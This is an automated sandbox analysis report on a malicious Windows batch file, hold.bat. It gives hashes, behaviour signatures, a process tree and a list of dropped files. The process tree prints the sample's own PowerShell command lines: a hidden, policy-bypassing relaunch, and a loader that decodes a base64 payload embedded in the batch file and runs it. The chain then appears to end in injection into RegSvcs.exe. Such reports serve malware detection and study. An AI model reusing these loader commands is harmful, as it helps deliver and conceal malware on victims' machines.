b2f4509d23f158408311c38116c98ae5c2687e5886019c8d331dcfba79d00a1f

Analysis

max time kernel
149s
max time network
122s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260630-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 12:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hold.bat
Size 3.3MB
Sample260701-pe2mnadx2n
SHA256 b2f4509d23f158408311c38116c98ae5c2687e5886019c8d331dcfba79d00a1f
MD5 fe1d4faf0f95cb36703967ef8c29348a
SHA1 8c31bde760a2b24668c86cb42e784094aefcd510
SHA512 2f7d4f616bed4406f4ae28adff199bd491b49b1dac59b182329a0100c982506998d251ed830308e69c72db8e67900b6e299f3dce0fcaa1dbcec5ffc07ce36845
SSDEEP 24576:69hWKcEjJ18DLLujnOK5qrYkXpOtzH/VUuj/z++jgtix6cVZiN2jcJ42T+EQuAlo:RgjnOKeZXIBVUtSfI/rsOUZhxtKj
TLSH
T197F5E1276C8119A42725473B3BAFF00A4BFF1CA20FC5AD519BDB590A69F170F0A751B8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5304	powershell.exe
1388	powershell.exe
4476	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5304 set thread context of 3608	5304	powershell.exe	96

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1388	powershell.exe
1388	powershell.exe
4476	powershell.exe
4476	powershell.exe
5304	powershell.exe
5304	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	5304	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 1388	4748	cmd.exe	89
PID 1388 wrote to memory of 3188	1388	powershell.exe	90
PID 3188 wrote to memory of 4476	3188	cmd.exe	92
PID 3188 wrote to memory of 5304	3188	cmd.exe	93
PID 5304 wrote to memory of 3420	5304	powershell.exe	94
PID 3420 wrote to memory of 5904	3420	csc.exe	95
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96
PID 5304 wrote to memory of 3608	5304	powershell.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hold.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:_SelfPathRef+$q+$q+' __hidden';$i=New-Object System.Diagnostics.ProcessStartInfo('C:\Windows\System32\cmd.exe',$a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\hold.bat"" __hidden
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\hold.bat');$t=[Text.Encoding]::ASCII.GetString($b);$i=$t.LastIndexOf('---BEGIN_PS---');if($i -ge 0){[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\volatile_module_95421511628493.ps1',[Convert]::FromBase64String(($t.Substring($i+14)-replace'[\r\n]','')))}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\volatile_module_95421511628493.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5304
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\us5uoj2m\us5uoj2m.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3420
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF6EE.tmp" "c:\Users\Admin\AppData\Local\Temp\us5uoj2m\CSC65D2AFD4B4E740E491A3B4B21B822E6.TMP"
        6⤵
        
        PID:5904
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"
        5⤵
        
        PID:3608

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c41f7ff5f180b1cf591e83b0a9540e250474194fe39884d2628e88c713068143
MD5 2c18e0ec9f59e2f9ca8d150a6d6cb378
SHA1 0a1e7be6b631434211acb74c90781ea33c894865
SHA512 405f1bb529ebb8b4bbde498b0f122b14e252b3e0940bee100fb5f814ca3b0610da44c7ccbae1d7780ce4df5698db84cee937a5ef7037c775c2b45e1efed1370a
TLSH
T1E7215733F3CC8624DC9A413650CEAC1136B687DB409FCE6BBB84D554B42F689DF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 54b26da222ddf0a9d810f0939d544b43e01e438a6f5ec7db8d12f4a989dd1ada
MD5 042f28076343ad8a174a4c4f6b092252
SHA1 0b3d827ed020d5903d253ab3e498f6f2186e8af2
SHA512 a220a6da6a75fc265af1b1a3d4d65e5b4ccc64b40ac7f489fd22296529c724941c8a82e0025d1075b51fe4a492778e3e988336fbedabe0c5e8df1f844c199600
TLSH
T1B5116633F3CC8624DC5A413650CEAC2136B687CB409ECE6B7B84D154B42F699DF61260
MD5 SHA1 SHA512 TLSH

Submit Download

RESF6EE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF6EE.tmp
Size 1KB
SHA256 57046946a4ee8b7f81bb6aefcb4c17213929b5a7cc7592e819cf60b4c48576c4
MD5 73df621877c6248f43add1459b13dfc6
SHA1 f4ee49bdb1ae49ed2b01b9f08cf229dc312dfef4
SHA512 4f48b69814b650ef1862dcb865b67bdaf702068f9eb8d47f36fede57428715ac04629cc21d1e4953b4643c888c3115dba25ee31f9456aa7336213c3ced769a75
TLSH
T19F21CC0593FC471FF17347316AFA572F9278FD95AFA2A35A8544022C2C41504EEB0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3xic0cv2.gb4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3xic0cv2.gb4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

us5uoj2m.dll

Path C:\Users\Admin\AppData\Local\Temp\us5uoj2m\us5uoj2m.dll
Size 5KB
SHA256 843e41724064c8bebeb58ccd236c63d6bfd4c1a0cf777ed3e5d4496632d338fa
MD5 a87cda4ac009760fba01de21cf68e1c1
SHA1 53a5fb7acc864b56288ddde58892ee674f626540
SHA512 41968a9c2d7a7409ef45e4458cd877953fd624a3ed576e323fcca6472ab9f50763ea474891c0796fd2b2e568df48ad30fc1001cbedb27ee77b5d8fe1c2c0107e
SSDEEP 48:6KnjY3k8xLJpXsOVXWZY/Mc8FfxOPvhpzmmIfib1gbmgDngdJopjByYoB1ul8a3p:TYZx9pXsO837spkr9yYXKK
TLSH
T1E0C16311D7AC1293F96B073CADE30752DB70E8914B6B875B0DE5A12A7CABB341A31760
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

volatile_module_95421511628493.ps1

Path C:\Users\Admin\AppData\Local\Temp\volatile_module_95421511628493.ps1
Size 2.4MB
SHA256 6d779e421754d94674ca5a4779d603749c9b24c70112d39c14a0df2536a6ebf9
MD5 e27ab8dedde42c52e10026835b2956d9
SHA1 8d6a87ca8c248d6cfb215ab6ea9837ffe8635e08
SHA512 420b0406b5ee10b99c094b5a0f548cf12e9959f54c802a8bad6b2c4fc54effa5f7f7e895f20a39ad29c49dd6fe790c5d1b34432ca25e1e49c41b64e6e18ac49e
SSDEEP 49152:oXO2GWKGvLkcfN5G/Fv/y7f2glLLF9r5i59hNDhQLqtxE:8hZT1OFv/yPlL5o9dQLE2
TLSH
T1F9C5CF909C5F833BCB9F8D0550FBFB17A626B7027AD7274AC8B49051CF59A00AD56C8E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC65D2AFD4B4E740E491A3B4B21B822E6.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\us5uoj2m\CSC65D2AFD4B4E740E491A3B4B21B822E6.TMP
Size 652B
SHA256 d84daf4449f471db9473a259f0c2edc260643b6ef330d63e564de07f62cb25f0
MD5 e4df157d14d0e5d757dda1c7fef2b9ca
SHA1 4b960325cd4e7db0a39ba9ccbb0a15e00308947f
SHA512 85cd0558d7f07ae353ab6235726aa9a0f90b9200d3970e7875e0a817b5a289e015d4a346501dc33ffaf841602a3003313f7f39a99d9360bff5c5458b1accc8b0
TLSH
T1B0F03A4A63F8020EF1F35B30BAF6836391A9BC65DE32A3ED1484032D2864510D962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

us5uoj2m.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\us5uoj2m\us5uoj2m.0.cs
Size 3KB
SHA256 9578f1935441fa1f73ff75db335d4a8693ca649925853908d83e6e4b8a3838d7
MD5 e77027a3d1f4e8d99e8aaac444f615a1
SHA1 12d313fa966c5e0c37c30fa4d056f220d3062349
SHA512 44038a7674713e57557a33d9c1da9a3986eb5e720fe4fe7a3a1a11c3fad781fd60f7fda25ca1dfb3ca1831ef9040adb0a99da0ac3180fc605ec059a2d64b0727
TLSH
T1EE71DF3C5346976258761119FA81A1CEE70310732AFF5A2039FD83626F7B109E176B2E
MD5 SHA1 SHA512 TLSH

Submit Download

us5uoj2m.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\us5uoj2m\us5uoj2m.cmdline
Size 369B
SHA256 84742e64fd5bad07fbcdd2156a18f48356707a5ffa2b325e1f2602145b77525a
MD5 65d1a024f62455b9394aa43c7e37bc68
SHA1 197153cab5a064dc9d7ed9604dbc609de488f4b9
SHA512 0c545bb8a31a4f1b4668ec76893c07e74717f4f185e4fbbdbb96ac3bf8800e7fc172dd164cab17d4a10275db5d8db63bbd3cc34a32edaffdf8c85fb52d1cfe4f
TLSH
T129E0683A428AC2BE1ADE140F2669C5EC82B20E432D853FC450A5481DF03B00037D1761
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1388-9-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-6-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-4-0x00000116CE110000-0x00000116CE132000-memory.dmp

Download

memory/1388-3-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-5-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-13-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-12-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-7-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-8-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/1388-0-0x00007FFCB20BF000-0x00007FFCB20C0000-memory.dmp

Download

memory/1388-10-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/3608-45-0x0000000140000000-0x00000001401F6000-memory.dmp

Download

memory/4476-27-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-24-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-22-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-23-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-21-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-19-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-18-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-15-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/4476-14-0x00007FFCB1F30000-0x00007FFCB28D4000-memory.dmp

Download

memory/5304-44-0x0000020734AC0000-0x0000020734AC8000-memory.dmp

Download